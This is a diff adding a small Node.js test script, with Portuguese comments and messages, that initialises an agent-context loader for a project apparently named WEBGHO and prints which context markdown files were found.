@@ -0,0 +1,67 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
|
|
3
|
+
/**
|
|
4
|
+
* Script Atualizado: Iniciar Contexto Interativo
|
|
5
|
+
*
|
|
6
|
+
* Agora com descoberta de projeto e criação dinâmica de agentes!
|
|
7
|
+
*
|
|
8
|
+
* Uso:
|
|
9
|
+
* node .agents/test-init-context.js
|
|
10
|
+
* ou
|
|
11
|
+
* npm run agents:init
|
|
12
|
+
*/
|
|
13
|
+
|
|
14
|
+
const { initializeContext, printContextSummary } = require('./context-loader');
|
|
15
|
+
|
|
16
|
+
async function main() {
|
|
17
|
+
console.log('');
|
|
18
|
+
console.log('🤖 SISTEMA DE AGENTES WEBGHO - v2.0');
|
|
19
|
+
console.log('Agora com descoberta interativa de projetos!');
|
|
20
|
+
console.log('');
|
|
21
|
+
|
|
22
|
+
try {
|
|
23
|
+
// Carregar contexto (com modo interativo)
|
|
24
|
+
const context = await initializeContext(true);
|
|
25
|
+
|
|
26
|
+
// Exibir resumo
|
|
27
|
+
if (typeof printContextSummary === 'function') {
|
|
28
|
+
printContextSummary(context);
|
|
29
|
+
}
|
|
30
|
+
|
|
31
|
+
// Validar se carregou corretamente
|
|
32
|
+
const hasDesignSystem = context.designSystem && context.designSystem.length > 0;
|
|
33
|
+
const hasSymbolsTree = context.symbolsTree && context.symbolsTree.length > 0;
|
|
34
|
+
const hasBuildHistory = context.buildHistory && context.buildHistory.length > 0;
|
|
35
|
+
const hasAgentRules = context.agentRules && context.agentRules.length > 0;
|
|
36
|
+
|
|
37
|
+
console.log('🧪 Resultados dos Testes:');
|
|
38
|
+
console.log(` DESIGN_SYSTEM.md: ${hasDesignSystem ? '✅ OK' : '⚠️ SERÁ CRIADO'}`);
|
|
39
|
+
console.log(` SYMBOLS_TREE.md: ${hasSymbolsTree ? '✅ OK' : '⚠️ SERÁ CRIADO'}`);
|
|
40
|
+
console.log(` BUILD_HISTORY.md: ${hasBuildHistory ? '✅ OK' : '⚠️ SERÁ CRIADO'}`);
|
|
41
|
+
console.log(` AGENT_RULES.md: ${hasAgentRules ? '✅ OK' : '⚠️ SERÁ CRIADO'}`);
|
|
42
|
+
console.log(` Domínio detectado: ${context.domainConfig.name} (${context.domainConfig.description})`);
|
|
43
|
+
|
|
44
|
+
if (context.projectProfile) {
|
|
45
|
+
console.log(` Perfil do Projeto: ✅ ${context.projectProfile.projectName}`);
|
|
46
|
+
}
|
|
47
|
+
console.log('');
|
|
48
|
+
|
|
49
|
+
console.log('🎉 SUCESSO: Sistema de contexto funcionando perfeitamente!');
|
|
50
|
+
console.log('');
|
|
51
|
+
console.log('📌 Próximos passos:');
|
|
52
|
+
console.log(' 1. Revise o relatório acima');
|
|
53
|
+
console.log(' 2. Os agentes recomendados serão criados automaticamente');
|
|
54
|
+
console.log(' 3. Comece a implementar suas features com confiança!');
|
|
55
|
+
console.log('');
|
|
56
|
+
process.exit(0);
|
|
57
|
+
|
|
58
|
+
} catch (error) {
|
|
59
|
+
console.error('');
|
|
60
|
+
console.error('❌ ERRO ao inicializar contexto:');
|
|
61
|
+
console.error(error);
|
|
62
|
+
console.error('');
|
|
63
|
+
process.exit(1);
|
|
64
|
+
}
|
|
65
|
+
}
|
|
66
|
+
|
|
67
|
+
main();
|